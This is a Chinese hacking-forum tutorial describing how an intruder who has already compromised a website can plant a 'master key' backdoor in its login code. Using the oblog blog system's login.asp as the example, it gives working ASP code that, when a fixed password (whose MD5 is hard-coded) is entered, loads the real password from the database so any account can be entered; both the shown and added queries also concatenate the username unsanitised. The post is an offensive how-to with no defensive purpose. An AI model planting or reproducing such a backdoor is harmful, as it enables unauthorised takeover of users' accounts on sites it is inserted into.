[原创]关于做万能钥匙
文章作者:千寂孤城信息来源:邪恶八进制信息安全团队
有时入侵了某个网站特别是论坛、电影或是商业网站后有没有想过做一把“万能钥匙”来玩玩呢?
我所谓的做万能钥匙就是指修改网页源代码,做出一个密码使其对任何用户名都有效。
以前做这东西我的思路是这样的:
比如判断密码的代码如下:
if password正确 then
进入
else
报错
end if
我就把它改成:
if password正确 or request("password")="qjgc" then
进入
else
报错
end if
这样虽然用qjgc能进入,但是会有很多冲突而且一般来说网站除了登陆页面以外还有很多页面会对你的身份进行复审。所以还要修改很多地方,麻烦得很。
其实这种方法并不好,我们换种思路,试试把代码改成如果password="qjgc",那么password=正确密码。这样既好改又方便,而且不会有任何冲突,后面随便整么验证都通过,因为password都被重新赋值过了。
我们以oblog为例。看看oblog的登陆页面login.asp,搜索“md5”来到关键地方:
password=md5(trim(request("password")))
sub ot_chklogin()
dim sql,rs,rsreg
if not IsObject(ot_conn) then link_database
sql="select * from "&ot_usertable&" where "&ot_username&"='"& username & "' and "&ot_password&" ='" & password &"'"
set rs=ot_conn.execute(sql)
if rs.bof and rs.eof then
set rs=nothing
if isobject(ot_conn) then ot_conn.close:set ot_conn=nothing
oblog.adderrstr("用户名或密码错误,请重新输入!"):oblog.showerr
exit sub
else
……成功进入
end if
end sub
oblog的登陆页面大概就是这样验证的,我们不需要看懂,我们只要知道从哪儿开始验证就够了,所以我才搜索的“md5”。
现在我们来改代码:在password=md5(trim(request("password")))后面加上这样一段:
if password="05df4a378b5dc78f" then '这个是qjgc的md5值
dim sql,rs,ok
sql="select password from [oblog_user] where username='"&username&"'" '从数据库中查出正确密码
set Rs=oblog.Execute(Sql)
password=rs("password") '对password重新赋值
end if
就这样就搞定了。:)
页:
[1]